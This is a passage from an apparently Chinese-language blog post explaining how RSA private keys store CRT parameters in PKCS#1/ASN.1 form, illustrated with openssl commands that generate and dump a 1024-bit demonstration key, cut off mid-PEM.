<li><a href="https://blog.csdn.net/weixin_43586667/article/details/123119848">RSA的中国剩余定理(CRT)算法解密</a></li>
<li><a href="https://blog.csdn.net/qq_32350719/article/details/102719279">CTF-RSA1(已知p、q、dp、dq、c)</a></li>
<li><a href="https://weichujian.github.io/2020/06/01/%E5%B0%86CRT-%E4%B8%AD%E5%9B%BD%E5%89%A9%E4%BD%99%E5%AE%9A%E7%90%86-%E4%B8%8ERSA%E7%BB%93%E5%90%88/">将CRT(中国剩余定理)与RSA结合</a></li>
<li><a href="https://www.cnblogs.com/chuaner/p/13251743.html">RSA遇上中国剩余定理</a></li>
<li><a href="https://www.jianshu.com/p/456db914715c">使用中国剩余定理CRT对RSA运算进行加速</a></li>
<li><a href="https://blog.csdn.net/mrpre/article/details/79671263">RSA中的中国剩余定理(CRT)和多素数(multi-prime)</a></li>
</ul>
<p>但在实际中,RSA私钥一般以PKCS#1和PKCS#8格式存储(ASN.1),其中不仅包括理论上的私钥数据,还包含公钥(n、e),例如使用openssl生成私钥包括(n、e、d、p、q、dp、dq、qinv),对应关系如下:</p>
<blockquote>
<p><a href="https://mbed-tls.readthedocs.io/en/latest/kb/cryptography/asn1-key-structures-in-der-and-pem/">ASN.1 key structures in DER and PEM</a></p>
</blockquote>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">RSAPrivateKey</span> <span class="o">::=</span> <span class="n">SEQUENCE</span> <span class="p">{</span>
<span class="n">version</span> <span class="n">Version</span><span class="p">,</span>
<span class="n">modulus</span> <span class="n">INTEGER</span><span class="p">,</span> <span class="o">--</span> <span class="n">n</span>
<span class="n">publicExponent</span> <span class="n">INTEGER</span><span class="p">,</span> <span class="o">--</span> <span class="n">e</span>
<span class="n">privateExponent</span> <span class="n">INTEGER</span><span class="p">,</span> <span class="o">--</span> <span class="n">d</span>
<span class="n">prime1</span> <span class="n">INTEGER</span><span class="p">,</span> <span class="o">--</span> <span class="n">p</span>
<span class="n">prime2</span> <span class="n">INTEGER</span><span class="p">,</span> <span class="o">--</span> <span class="n">q</span>
<span class="n">exponent1</span> <span class="n">INTEGER</span><span class="p">,</span> <span class="o">--</span> <span class="n">dp</span><span class="o">:</span> <span class="n">d</span> <span class="n">mod</span> <span class="p">(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="n">exponent2</span> <span class="n">INTEGER</span><span class="p">,</span> <span class="o">--</span> <span class="n">dq</span><span class="o">:</span> <span class="n">d</span> <span class="n">mod</span> <span class="p">(</span><span class="n">q</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
<span class="n">coefficient</span> <span class="n">INTEGER</span><span class="p">,</span> <span class="o">--</span> <span class="n">qinv</span><span class="o">:</span> <span class="p">(</span><span class="n">inverse</span> <span class="n">of</span> <span class="n">q</span><span class="p">)</span> <span class="n">mod</span> <span class="n">p</span>
<span class="n">otherPrimeInfos</span> <span class="n">OtherPrimeInfos</span> <span class="n">OPTIONAL</span>
<span class="p">}</span>
</code></pre></div></div>
<p>可以自己使用openssl生成一个1024bit的RSA私钥并查看:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">openssl</span> <span class="n">genrsa</span> <span class="o">-</span><span class="n">out</span> <span class="n">rsa_private_key</span><span class="p">.</span><span class="n">pem</span> <span class="mi">1024</span>
<span class="n">Generating</span> <span class="n">RSA</span> <span class="n">private</span> <span class="n">key</span><span class="p">,</span> <span class="mi">1024</span> <span class="n">bit</span> <span class="kt">long</span> <span class="n">modulus</span>
<span class="p">.........</span><span class="o">++++++</span>
<span class="p">......................</span><span class="o">++++++</span>
<span class="n">e</span> <span class="n">is</span> <span class="mi">65537</span> <span class="p">(</span><span class="mh">0x10001</span><span class="p">)</span>
<span class="err">➜</span> <span class="n">openssl</span> <span class="n">rsa</span> <span class="o">-</span><span class="n">in</span> <span class="p">.</span><span class="o">/</span><span class="n">rsa_private_key</span><span class="p">.</span><span class="n">pem</span> <span class="o">-</span><span class="n">text</span>
<span class="n">Private</span><span class="o">-</span><span class="n">Key</span><span class="o">:</span> <span class="p">(</span><span class="mi">1024</span> <span class="n">bit</span><span class="p">)</span>
<span class="n">modulus</span><span class="o">:</span>
<span class="mo">00</span><span class="o">:</span><span class="n">d7</span><span class="o">:</span><span class="mi">1</span><span class="n">f</span><span class="o">:</span><span class="n">f9</span><span class="o">:</span><span class="mi">0</span><span class="n">f</span><span class="o">:</span><span class="n">d4</span><span class="o">:</span><span class="n">f8</span><span class="o">:</span><span class="mo">00</span><span class="o">:</span><span class="mi">91</span><span class="o">:</span><span class="n">fd</span><span class="o">:</span><span class="mi">9</span><span class="n">e</span><span class="o">:</span><span class="n">d9</span><span class="o">:</span><span class="mi">66</span><span class="o">:</span><span class="n">b1</span><span class="o">:</span><span class="mi">12</span><span class="o">:</span>
<span class="n">d4</span><span class="o">:</span><span class="mi">73</span><span class="o">:</span><span class="mi">20</span><span class="o">:</span><span class="n">ee</span><span class="o">:</span><span class="mi">50</span><span class="o">:</span><span class="mo">06</span><span class="o">:</span><span class="mi">8</span><span class="n">a</span><span class="o">:</span><span class="n">e9</span><span class="o">:</span><span class="n">f7</span><span class="o">:</span><span class="mi">28</span><span class="o">:</span><span class="n">d6</span><span class="o">:</span><span class="n">e0</span><span class="o">:</span><span class="mi">76</span><span class="o">:</span><span class="mi">78</span><span class="o">:</span><span class="mi">60</span><span class="o">:</span>
<span class="n">e6</span><span class="o">:</span><span class="mi">96</span><span class="o">:</span><span class="n">cc</span><span class="o">:</span><span class="n">a0</span><span class="o">:</span><span class="mi">4</span><span class="n">b</span><span class="o">:</span><span class="n">db</span><span class="o">:</span><span class="mi">78</span><span class="o">:</span><span class="n">bb</span><span class="o">:</span><span class="mi">56</span><span class="o">:</span><span class="mi">8</span><span class="n">d</span><span class="o">:</span><span class="n">ae</span><span class="o">:</span><span class="mi">0</span><span class="n">f</span><span class="o">:</span><span class="n">d9</span><span class="o">:</span><span class="mi">33</span><span class="o">:</span><span class="n">d2</span><span class="o">:</span>
<span class="mi">82</span><span class="o">:</span><span class="mi">92</span><span class="o">:</span><span class="mi">11</span><span class="o">:</span><span class="mi">49</span><span class="o">:</span><span class="mi">25</span><span class="o">:</span><span class="mi">83</span><span class="o">:</span><span class="mi">67</span><span class="o">:</span><span class="mi">58</span><span class="o">:</span><span class="mi">77</span><span class="o">:</span><span class="mi">93</span><span class="o">:</span><span class="n">b5</span><span class="o">:</span><span class="mi">68</span><span class="o">:</span><span class="mi">4</span><span class="n">c</span><span class="o">:</span><span class="n">ec</span><span class="o">:</span><span class="mi">7</span><span class="n">c</span><span class="o">:</span>
<span class="n">d6</span><span class="o">:</span><span class="mi">4</span><span class="n">c</span><span class="o">:</span><span class="n">b1</span><span class="o">:</span><span class="mi">9</span><span class="n">f</span><span class="o">:</span><span class="mi">18</span><span class="o">:</span><span class="n">ce</span><span class="o">:</span><span class="mi">93</span><span class="o">:</span><span class="n">c7</span><span class="o">:</span><span class="mi">3</span><span class="n">e</span><span class="o">:</span><span class="n">d4</span><span class="o">:</span><span class="n">b4</span><span class="o">:</span><span class="n">cc</span><span class="o">:</span><span class="mi">26</span><span class="o">:</span><span class="n">ec</span><span class="o">:</span><span class="mi">59</span><span class="o">:</span>
<span class="mi">1</span><span class="n">f</span><span class="o">:</span><span class="mi">8</span><span class="n">c</span><span class="o">:</span><span class="n">aa</span><span class="o">:</span><span class="mi">52</span><span class="o">:</span><span class="n">b8</span><span class="o">:</span><span class="mi">9</span><span class="n">b</span><span class="o">:</span><span class="mi">9</span><span class="n">f</span><span class="o">:</span><span class="n">e0</span><span class="o">:</span><span class="mi">86</span><span class="o">:</span><span class="mi">8</span><span class="n">a</span><span class="o">:</span><span class="mi">53</span><span class="o">:</span><span class="mi">65</span><span class="o">:</span><span class="mi">6</span><span class="n">c</span><span class="o">:</span><span class="mi">47</span><span class="o">:</span><span class="mi">0</span><span class="n">f</span><span class="o">:</span>
<span class="n">de</span><span class="o">:</span><span class="mi">40</span><span class="o">:</span><span class="n">bb</span><span class="o">:</span><span class="mi">8</span><span class="n">a</span><span class="o">:</span><span class="mi">28</span><span class="o">:</span><span class="mi">53</span><span class="o">:</span><span class="n">df</span><span class="o">:</span><span class="mi">81</span><span class="o">:</span><span class="n">da</span><span class="o">:</span><span class="mi">61</span><span class="o">:</span><span class="mi">97</span><span class="o">:</span><span class="mi">32</span><span class="o">:</span><span class="mi">56</span><span class="o">:</span><span class="mi">3</span><span class="n">a</span><span class="o">:</span><span class="mi">80</span><span class="o">:</span>
<span class="mi">40</span><span class="o">:</span><span class="mi">8</span><span class="n">c</span><span class="o">:</span><span class="mi">27</span><span class="o">:</span><span class="mi">38</span><span class="o">:</span><span class="mi">58</span><span class="o">:</span><span class="mi">3</span><span class="n">a</span><span class="o">:</span><span class="mi">97</span><span class="o">:</span><span class="mi">09</span><span class="o">:</span><span class="n">f7</span><span class="o">:</span><span class="mi">8</span><span class="n">b</span><span class="o">:</span><span class="n">d7</span><span class="o">:</span><span class="mi">59</span><span class="o">:</span><span class="mi">37</span><span class="o">:</span><span class="n">c2</span><span class="o">:</span><span class="mi">2</span><span class="n">c</span><span class="o">:</span>
<span class="mi">39</span><span class="o">:</span><span class="mi">8</span><span class="n">e</span><span class="o">:</span><span class="mi">2</span><span class="n">d</span><span class="o">:</span><span class="n">c5</span><span class="o">:</span><span class="n">cd</span><span class="o">:</span><span class="mi">30</span><span class="o">:</span><span class="n">b8</span><span class="o">:</span><span class="mi">35</span><span class="o">:</span><span class="mo">01</span>
<span class="n">publicExponent</span><span class="o">:</span> <span class="mi">65537</span> <span class="p">(</span><span class="mh">0x10001</span><span class="p">)</span>
<span class="n">privateExponent</span><span class="o">:</span>
<span class="mi">26</span><span class="o">:</span><span class="n">b7</span><span class="o">:</span><span class="mi">8</span><span class="n">f</span><span class="o">:</span><span class="mi">68</span><span class="o">:</span><span class="n">c5</span><span class="o">:</span><span class="mi">08</span><span class="o">:</span><span class="mi">99</span><span class="o">:</span><span class="mi">79</span><span class="o">:</span><span class="n">ac</span><span class="o">:</span><span class="n">ee</span><span class="o">:</span><span class="n">b0</span><span class="o">:</span><span class="n">eb</span><span class="o">:</span><span class="n">e5</span><span class="o">:</span><span class="mi">84</span><span class="o">:</span><span class="n">a1</span><span class="o">:</span>
<span class="mi">0</span><span class="n">d</span><span class="o">:</span><span class="n">d3</span><span class="o">:</span><span class="mi">68</span><span class="o">:</span><span class="mi">70</span><span class="o">:</span><span class="n">a8</span><span class="o">:</span><span class="n">ac</span><span class="o">:</span><span class="n">c9</span><span class="o">:</span><span class="n">ac</span><span class="o">:</span><span class="n">fd</span><span class="o">:</span><span class="mo">01</span><span class="o">:</span><span class="n">a7</span><span class="o">:</span><span class="mi">46</span><span class="o">:</span><span class="mi">4</span><span class="n">b</span><span class="o">:</span><span class="mi">26</span><span class="o">:</span><span class="mi">0</span><span class="n">d</span><span class="o">:</span>
<span class="mi">7</span><span class="n">a</span><span class="o">:</span><span class="mi">28</span><span class="o">:</span><span class="mi">7</span><span class="n">b</span><span class="o">:</span><span class="n">d5</span><span class="o">:</span><span class="mi">0</span><span class="n">b</span><span class="o">:</span><span class="mi">3</span><span class="n">b</span><span class="o">:</span><span class="n">f0</span><span class="o">:</span><span class="mi">63</span><span class="o">:</span><span class="mi">84</span><span class="o">:</span><span class="mi">7</span><span class="n">e</span><span class="o">:</span><span class="mi">46</span><span class="o">:</span><span class="mi">45</span><span class="o">:</span><span class="n">ee</span><span class="o">:</span><span class="mi">28</span><span class="o">:</span><span class="n">bd</span><span class="o">:</span>
<span class="n">ed</span><span class="o">:</span><span class="mi">32</span><span class="o">:</span><span class="mo">05</span><span class="o">:</span><span class="mi">3</span><span class="n">b</span><span class="o">:</span><span class="mi">26</span><span class="o">:</span><span class="mi">2</span><span class="n">a</span><span class="o">:</span><span class="mi">2</span><span class="n">c</span><span class="o">:</span><span class="mi">66</span><span class="o">:</span><span class="n">e1</span><span class="o">:</span><span class="mo">03</span><span class="o">:</span><span class="n">ae</span><span class="o">:</span><span class="mi">30</span><span class="o">:</span><span class="n">e2</span><span class="o">:</span><span class="mo">03</span><span class="o">:</span><span class="mi">19</span><span class="o">:</span>
<span class="n">c2</span><span class="o">:</span><span class="mi">95</span><span class="o">:</span><span class="n">d9</span><span class="o">:</span><span class="mi">2</span><span class="n">f</span><span class="o">:</span><span class="mi">16</span><span class="o">:</span><span class="mi">2</span><span class="n">e</span><span class="o">:</span><span class="mi">1</span><span class="n">e</span><span class="o">:</span><span class="n">b1</span><span class="o">:</span><span class="mi">34</span><span class="o">:</span><span class="mi">11</span><span class="o">:</span><span class="mi">8</span><span class="n">b</span><span class="o">:</span><span class="mi">22</span><span class="o">:</span><span class="mo">02</span><span class="o">:</span><span class="n">e5</span><span class="o">:</span><span class="mi">1</span><span class="n">e</span><span class="o">:</span>
<span class="n">ef</span><span class="o">:</span><span class="mi">0</span><span class="n">e</span><span class="o">:</span><span class="mi">21</span><span class="o">:</span><span class="mi">59</span><span class="o">:</span><span class="n">fc</span><span class="o">:</span><span class="n">c1</span><span class="o">:</span><span class="mi">6</span><span class="n">b</span><span class="o">:</span><span class="mi">9</span><span class="n">a</span><span class="o">:</span><span class="n">da</span><span class="o">:</span><span class="mi">24</span><span class="o">:</span><span class="n">eb</span><span class="o">:</span><span class="mi">98</span><span class="o">:</span><span class="mi">2</span><span class="n">d</span><span class="o">:</span><span class="n">fd</span><span class="o">:</span><span class="n">a0</span><span class="o">:</span>
<span class="mi">19</span><span class="o">:</span><span class="mi">2</span><span class="n">a</span><span class="o">:</span><span class="n">e1</span><span class="o">:</span><span class="mi">1</span><span class="n">d</span><span class="o">:</span><span class="mi">3</span><span class="n">e</span><span class="o">:</span><span class="n">a6</span><span class="o">:</span><span class="mi">2</span><span class="n">b</span><span class="o">:</span><span class="n">af</span><span class="o">:</span><span class="mo">03</span><span class="o">:</span><span class="mi">48</span><span class="o">:</span><span class="mi">14</span><span class="o">:</span><span class="n">f9</span><span class="o">:</span><span class="mi">69</span><span class="o">:</span><span class="n">b0</span><span class="o">:</span><span class="mi">73</span><span class="o">:</span>
<span class="n">ba</span><span class="o">:</span><span class="n">f7</span><span class="o">:</span><span class="n">c6</span><span class="o">:</span><span class="mo">05</span><span class="o">:</span><span class="n">db</span><span class="o">:</span><span class="n">f7</span><span class="o">:</span><span class="n">ad</span><span class="o">:</span><span class="mi">5</span><span class="n">a</span><span class="o">:</span><span class="n">b2</span><span class="o">:</span><span class="mi">3</span><span class="n">e</span><span class="o">:</span><span class="mi">80</span><span class="o">:</span><span class="mi">3</span><span class="n">e</span><span class="o">:</span><span class="mi">9</span><span class="n">f</span><span class="o">:</span><span class="mi">2</span><span class="n">d</span><span class="o">:</span><span class="mi">54</span><span class="o">:</span>
<span class="mi">5</span><span class="n">a</span><span class="o">:</span><span class="mi">2</span><span class="n">c</span><span class="o">:</span><span class="mi">33</span><span class="o">:</span><span class="mi">81</span><span class="o">:</span><span class="mi">20</span><span class="o">:</span><span class="mi">58</span><span class="o">:</span><span class="n">a5</span><span class="o">:</span><span class="mi">11</span>
<span class="n">prime1</span><span class="o">:</span>
<span class="mo">00</span><span class="o">:</span><span class="n">f7</span><span class="o">:</span><span class="n">c1</span><span class="o">:</span><span class="mi">40</span><span class="o">:</span><span class="n">a3</span><span class="o">:</span><span class="n">b5</span><span class="o">:</span><span class="mi">20</span><span class="o">:</span><span class="n">a0</span><span class="o">:</span><span class="mi">7</span><span class="n">d</span><span class="o">:</span><span class="n">f9</span><span class="o">:</span><span class="n">e7</span><span class="o">:</span><span class="mi">38</span><span class="o">:</span><span class="n">df</span><span class="o">:</span><span class="n">ec</span><span class="o">:</span><span class="mi">4</span><span class="n">d</span><span class="o">:</span>
<span class="mi">2</span><span class="n">d</span><span class="o">:</span><span class="n">f1</span><span class="o">:</span><span class="mi">17</span><span class="o">:</span><span class="mo">00</span><span class="o">:</span><span class="mi">23</span><span class="o">:</span><span class="n">d9</span><span class="o">:</span><span class="n">fa</span><span class="o">:</span><span class="n">ff</span><span class="o">:</span><span class="mo">03</span><span class="o">:</span><span class="n">c1</span><span class="o">:</span><span class="n">e8</span><span class="o">:</span><span class="mi">78</span><span class="o">:</span><span class="mo">01</span><span class="o">:</span><span class="mi">36</span><span class="o">:</span><span class="mi">2</span><span class="n">c</span><span class="o">:</span>
<span class="n">a9</span><span class="o">:</span><span class="mi">55</span><span class="o">:</span><span class="mi">3</span><span class="n">f</span><span class="o">:</span><span class="mi">67</span><span class="o">:</span><span class="n">d6</span><span class="o">:</span><span class="mi">89</span><span class="o">:</span><span class="mi">93</span><span class="o">:</span><span class="n">ca</span><span class="o">:</span><span class="n">b7</span><span class="o">:</span><span class="n">bf</span><span class="o">:</span><span class="n">b1</span><span class="o">:</span><span class="n">a1</span><span class="o">:</span><span class="mi">2</span><span class="n">b</span><span class="o">:</span><span class="n">aa</span><span class="o">:</span><span class="mi">90</span><span class="o">:</span>
<span class="mi">1</span><span class="n">a</span><span class="o">:</span><span class="mi">1</span><span class="n">c</span><span class="o">:</span><span class="n">a6</span><span class="o">:</span><span class="mi">5</span><span class="n">a</span><span class="o">:</span><span class="n">df</span><span class="o">:</span><span class="mi">2</span><span class="n">b</span><span class="o">:</span><span class="n">b4</span><span class="o">:</span><span class="mi">4</span><span class="n">f</span><span class="o">:</span><span class="mi">6</span><span class="n">d</span><span class="o">:</span><span class="mi">60</span><span class="o">:</span><span class="mo">04</span><span class="o">:</span><span class="mi">45</span><span class="o">:</span><span class="mi">30</span><span class="o">:</span><span class="n">b4</span><span class="o">:</span><span class="n">cc</span><span class="o">:</span>
<span class="mi">3</span><span class="n">b</span><span class="o">:</span><span class="mi">3</span><span class="n">f</span><span class="o">:</span><span class="mo">07</span><span class="o">:</span><span class="mi">5</span><span class="n">c</span><span class="o">:</span><span class="mi">95</span>
<span class="n">prime2</span><span class="o">:</span>
<span class="mo">00</span><span class="o">:</span><span class="n">de</span><span class="o">:</span><span class="mi">48</span><span class="o">:</span><span class="n">ba</span><span class="o">:</span><span class="n">aa</span><span class="o">:</span><span class="n">c6</span><span class="o">:</span><span class="n">f7</span><span class="o">:</span><span class="mi">65</span><span class="o">:</span><span class="n">ba</span><span class="o">:</span><span class="mi">65</span><span class="o">:</span><span class="mi">84</span><span class="o">:</span><span class="mi">6</span><span class="n">b</span><span class="o">:</span><span class="mi">1</span><span class="n">c</span><span class="o">:</span><span class="mo">04</span><span class="o">:</span><span class="mi">92</span><span class="o">:</span>
<span class="n">a8</span><span class="o">:</span><span class="n">c4</span><span class="o">:</span><span class="mi">76</span><span class="o">:</span><span class="mi">55</span><span class="o">:</span><span class="mi">57</span><span class="o">:</span><span class="n">d2</span><span class="o">:</span><span class="mi">0</span><span class="n">e</span><span class="o">:</span><span class="mi">86</span><span class="o">:</span><span class="mi">60</span><span class="o">:</span><span class="mi">53</span><span class="o">:</span><span class="mi">31</span><span class="o">:</span><span class="n">fd</span><span class="o">:</span><span class="mi">34</span><span class="o">:</span><span class="mi">68</span><span class="o">:</span><span class="n">b0</span><span class="o">:</span>
<span class="mi">1</span><span class="n">e</span><span class="o">:</span><span class="n">f5</span><span class="o">:</span><span class="mi">85</span><span class="o">:</span><span class="n">b9</span><span class="o">:</span><span class="mi">51</span><span class="o">:</span><span class="n">b8</span><span class="o">:</span><span class="mi">0</span><span class="n">a</span><span class="o">:</span><span class="mi">84</span><span class="o">:</span><span class="n">a5</span><span class="o">:</span><span class="n">ff</span><span class="o">:</span><span class="mi">23</span><span class="o">:</span><span class="n">d8</span><span class="o">:</span><span class="mi">73</span><span class="o">:</span><span class="mi">19</span><span class="o">:</span><span class="mi">1</span><span class="n">f</span><span class="o">:</span>
<span class="mi">51</span><span class="o">:</span><span class="n">c2</span><span class="o">:</span><span class="mi">66</span><span class="o">:</span><span class="n">fc</span><span class="o">:</span><span class="mi">70</span><span class="o">:</span><span class="n">c8</span><span class="o">:</span><span class="n">fc</span><span class="o">:</span><span class="mi">32</span><span class="o">:</span><span class="n">f0</span><span class="o">:</span><span class="mi">5</span><span class="n">b</span><span class="o">:</span><span class="mi">41</span><span class="o">:</span><span class="mi">56</span><span class="o">:</span><span class="mi">3</span><span class="n">d</span><span class="o">:</span><span class="mi">61</span><span class="o">:</span><span class="n">c2</span><span class="o">:</span>
<span class="mi">2</span><span class="n">c</span><span class="o">:</span><span class="mi">91</span><span class="o">:</span><span class="mi">43</span><span class="o">:</span><span class="n">af</span><span class="o">:</span><span class="n">bd</span>
<span class="n">exponent1</span><span class="o">:</span>
<span class="mi">1</span><span class="n">b</span><span class="o">:</span><span class="mi">9</span><span class="n">c</span><span class="o">:</span><span class="n">a6</span><span class="o">:</span><span class="mi">1</span><span class="n">f</span><span class="o">:</span><span class="mi">98</span><span class="o">:</span><span class="n">a8</span><span class="o">:</span><span class="mi">32</span><span class="o">:</span><span class="mi">3</span><span class="n">a</span><span class="o">:</span><span class="n">d8</span><span class="o">:</span><span class="mo">07</span><span class="o">:</span><span class="mi">35</span><span class="o">:</span><span class="mo">07</span><span class="o">:</span><span class="mi">7</span><span class="n">f</span><span class="o">:</span><span class="n">c6</span><span class="o">:</span><span class="mi">7</span><span class="n">a</span><span class="o">:</span>
<span class="mi">40</span><span class="o">:</span><span class="mi">4</span><span class="n">c</span><span class="o">:</span><span class="mi">57</span><span class="o">:</span><span class="n">ef</span><span class="o">:</span><span class="n">a6</span><span class="o">:</span><span class="n">f3</span><span class="o">:</span><span class="mi">9</span><span class="n">a</span><span class="o">:</span><span class="mi">48</span><span class="o">:</span><span class="mi">48</span><span class="o">:</span><span class="n">ec</span><span class="o">:</span><span class="mi">27</span><span class="o">:</span><span class="n">b3</span><span class="o">:</span><span class="n">ba</span><span class="o">:</span><span class="n">dd</span><span class="o">:</span><span class="n">ef</span><span class="o">:</span>
<span class="mi">61</span><span class="o">:</span><span class="mi">58</span><span class="o">:</span><span class="n">d7</span><span class="o">:</span><span class="n">b1</span><span class="o">:</span><span class="n">c9</span><span class="o">:</span><span class="mi">53</span><span class="o">:</span><span class="mi">77</span><span class="o">:</span><span class="mi">5</span><span class="n">c</span><span class="o">:</span><span class="mi">53</span><span class="o">:</span><span class="mi">38</span><span class="o">:</span><span class="n">f0</span><span class="o">:</span><span class="n">c5</span><span class="o">:</span><span class="mi">75</span><span class="o">:</span><span class="mi">14</span><span class="o">:</span><span class="n">ea</span><span class="o">:</span>
<span class="mi">54</span><span class="o">:</span><span class="mi">17</span><span class="o">:</span><span class="mi">16</span><span class="o">:</span><span class="mi">39</span><span class="o">:</span><span class="mi">99</span><span class="o">:</span><span class="mi">1</span><span class="n">d</span><span class="o">:</span><span class="mi">57</span><span class="o">:</span><span class="mi">5</span><span class="n">c</span><span class="o">:</span><span class="n">d1</span><span class="o">:</span><span class="mi">3</span><span class="n">e</span><span class="o">:</span><span class="n">a8</span><span class="o">:</span><span class="mi">97</span><span class="o">:</span><span class="mi">6</span><span class="n">d</span><span class="o">:</span><span class="mi">0</span><span class="n">e</span><span class="o">:</span><span class="n">f5</span><span class="o">:</span>
<span class="n">eb</span><span class="o">:</span><span class="mi">68</span><span class="o">:</span><span class="mi">5</span><span class="n">e</span><span class="o">:</span><span class="n">a1</span>
<span class="n">exponent2</span><span class="o">:</span>
<span class="mo">00</span><span class="o">:</span><span class="mi">93</span><span class="o">:</span><span class="n">de</span><span class="o">:</span><span class="mi">93</span><span class="o">:</span><span class="n">f6</span><span class="o">:</span><span class="n">f9</span><span class="o">:</span><span class="mi">87</span><span class="o">:</span><span class="mi">28</span><span class="o">:</span><span class="mi">70</span><span class="o">:</span><span class="mi">38</span><span class="o">:</span><span class="mi">0</span><span class="n">a</span><span class="o">:</span><span class="mi">3</span><span class="n">f</span><span class="o">:</span><span class="n">ea</span><span class="o">:</span><span class="mi">92</span><span class="o">:</span><span class="mi">8</span><span class="n">c</span><span class="o">:</span>
<span class="mi">31</span><span class="o">:</span><span class="n">a3</span><span class="o">:</span><span class="mi">08</span><span class="o">:</span><span class="mi">09</span><span class="o">:</span><span class="mi">3</span><span class="n">b</span><span class="o">:</span><span class="n">f3</span><span class="o">:</span><span class="n">ab</span><span class="o">:</span><span class="n">df</span><span class="o">:</span><span class="n">ee</span><span class="o">:</span><span class="mi">82</span><span class="o">:</span><span class="mi">49</span><span class="o">:</span><span class="n">b5</span><span class="o">:</span><span class="n">e4</span><span class="o">:</span><span class="mi">40</span><span class="o">:</span><span class="mi">64</span><span class="o">:</span>
<span class="mi">31</span><span class="o">:</span><span class="mi">24</span><span class="o">:</span><span class="mi">29</span><span class="o">:</span><span class="mi">82</span><span class="o">:</span><span class="mi">1</span><span class="n">f</span><span class="o">:</span><span class="mi">7</span><span class="n">f</span><span class="o">:</span><span class="n">ab</span><span class="o">:</span><span class="n">d7</span><span class="o">:</span><span class="mi">94</span><span class="o">:</span><span class="mi">49</span><span class="o">:</span><span class="n">c7</span><span class="o">:</span><span class="mi">41</span><span class="o">:</span><span class="n">bd</span><span class="o">:</span><span class="mi">47</span><span class="o">:</span><span class="mi">90</span><span class="o">:</span>
<span class="mi">13</span><span class="o">:</span><span class="mi">26</span><span class="o">:</span><span class="mi">9</span><span class="n">c</span><span class="o">:</span><span class="n">b6</span><span class="o">:</span><span class="mo">00</span><span class="o">:</span><span class="mi">1</span><span class="n">d</span><span class="o">:</span><span class="mi">63</span><span class="o">:</span><span class="n">d0</span><span class="o">:</span><span class="mi">4</span><span class="n">b</span><span class="o">:</span><span class="mi">1</span><span class="n">e</span><span class="o">:</span><span class="mi">99</span><span class="o">:</span><span class="n">b7</span><span class="o">:</span><span class="mi">51</span><span class="o">:</span><span class="n">fc</span><span class="o">:</span><span class="mi">0</span><span class="n">f</span><span class="o">:</span>
<span class="mi">5</span><span class="n">c</span><span class="o">:</span><span class="n">f0</span><span class="o">:</span><span class="mi">81</span><span class="o">:</span><span class="n">b3</span><span class="o">:</span><span class="mi">8</span><span class="n">d</span>
<span class="n">coefficient</span><span class="o">:</span>
<span class="mo">00</span><span class="o">:</span><span class="n">e8</span><span class="o">:</span><span class="mi">5</span><span class="n">b</span><span class="o">:</span><span class="mi">63</span><span class="o">:</span><span class="mi">26</span><span class="o">:</span><span class="n">f9</span><span class="o">:</span><span class="n">a2</span><span class="o">:</span><span class="n">e7</span><span class="o">:</span><span class="n">d2</span><span class="o">:</span><span class="mi">08</span><span class="o">:</span><span class="n">c4</span><span class="o">:</span><span class="mi">36</span><span class="o">:</span><span class="mi">25</span><span class="o">:</span><span class="mi">8</span><span class="n">c</span><span class="o">:</span><span class="mi">64</span><span class="o">:</span>
<span class="mi">8</span><span class="n">f</span><span class="o">:</span><span class="mi">69</span><span class="o">:</span><span class="n">e6</span><span class="o">:</span><span class="mi">6</span><span class="n">c</span><span class="o">:</span><span class="mi">94</span><span class="o">:</span><span class="mi">54</span><span class="o">:</span><span class="n">dd</span><span class="o">:</span><span class="mi">8</span><span class="n">f</span><span class="o">:</span><span class="n">ff</span><span class="o">:</span><span class="n">d3</span><span class="o">:</span><span class="n">e4</span><span class="o">:</span><span class="mi">56</span><span class="o">:</span><span class="n">cb</span><span class="o">:</span><span class="n">dd</span><span class="o">:</span><span class="n">b1</span><span class="o">:</span>
<span class="n">f5</span><span class="o">:</span><span class="mi">4</span><span class="n">b</span><span class="o">:</span><span class="n">d1</span><span class="o">:</span><span class="n">a4</span><span class="o">:</span><span class="mi">6</span><span class="n">e</span><span class="o">:</span><span class="mi">44</span><span class="o">:</span><span class="mi">9</span><span class="n">c</span><span class="o">:</span><span class="mi">7</span><span class="n">f</span><span class="o">:</span><span class="mi">77</span><span class="o">:</span><span class="n">ae</span><span class="o">:</span><span class="mi">61</span><span class="o">:</span><span class="mi">4</span><span class="n">f</span><span class="o">:</span><span class="mi">49</span><span class="o">:</span><span class="n">e2</span><span class="o">:</span><span class="n">a0</span><span class="o">:</span>
<span class="mi">96</span><span class="o">:</span><span class="n">ec</span><span class="o">:</span><span class="mi">72</span><span class="o">:</span><span class="mo">05</span><span class="o">:</span><span class="mi">6</span><span class="n">b</span><span class="o">:</span><span class="mi">3</span><span class="n">d</span><span class="o">:</span><span class="mi">1</span><span class="n">a</span><span class="o">:</span><span class="mi">22</span><span class="o">:</span><span class="mi">13</span><span class="o">:</span><span class="n">a9</span><span class="o">:</span><span class="mi">49</span><span class="o">:</span><span class="n">a1</span><span class="o">:</span><span class="n">f1</span><span class="o">:</span><span class="mi">4</span><span class="n">b</span><span class="o">:</span><span class="n">dc</span><span class="o">:</span>
<span class="n">fe</span><span class="o">:</span><span class="mi">5</span><span class="n">c</span><span class="o">:</span><span class="mi">90</span><span class="o">:</span><span class="mi">66</span><span class="o">:</span><span class="n">f0</span>
<span class="n">writing</span> <span class="n">RSA</span> <span class="n">key</span>
<span class="o">-----</span><span class="n">BEGIN</span> <span class="n">RSA</span> <span class="n">PRIVATE</span> <span class="n">KEY</span><span class="o">-----</span>
<span class="n">MIICXQIBAAKBgQDXH</span><span class="o">/</span><span class="n">kP1PgAkf2e2WaxEtRzIO5QBorp9yjW4HZ4YOaWzKBL23i7</span>
<span class="n">Vo2uD9kz0oKSEUklg2dYd5O1aEzsfNZMsZ8YzpPHPtS0zCbsWR</span><span class="o">+</span><span class="n">MqlK4m5</span><span class="o">/</span><span class="n">ghopT</span>
<span class="n">ZWxHD95Au4ooU9</span><span class="o">+</span><span class="n">B2mGXMlY6gECMJzhYOpcJ94vXWTfCLDmOLcXNMLg1AQIDAQAB</span>
<span class="n">AoGAJrePaMUImXms7rDr5YShDdNocKisyaz9AadGSyYNeih71Qs78GOEfkZF7ii9</span>
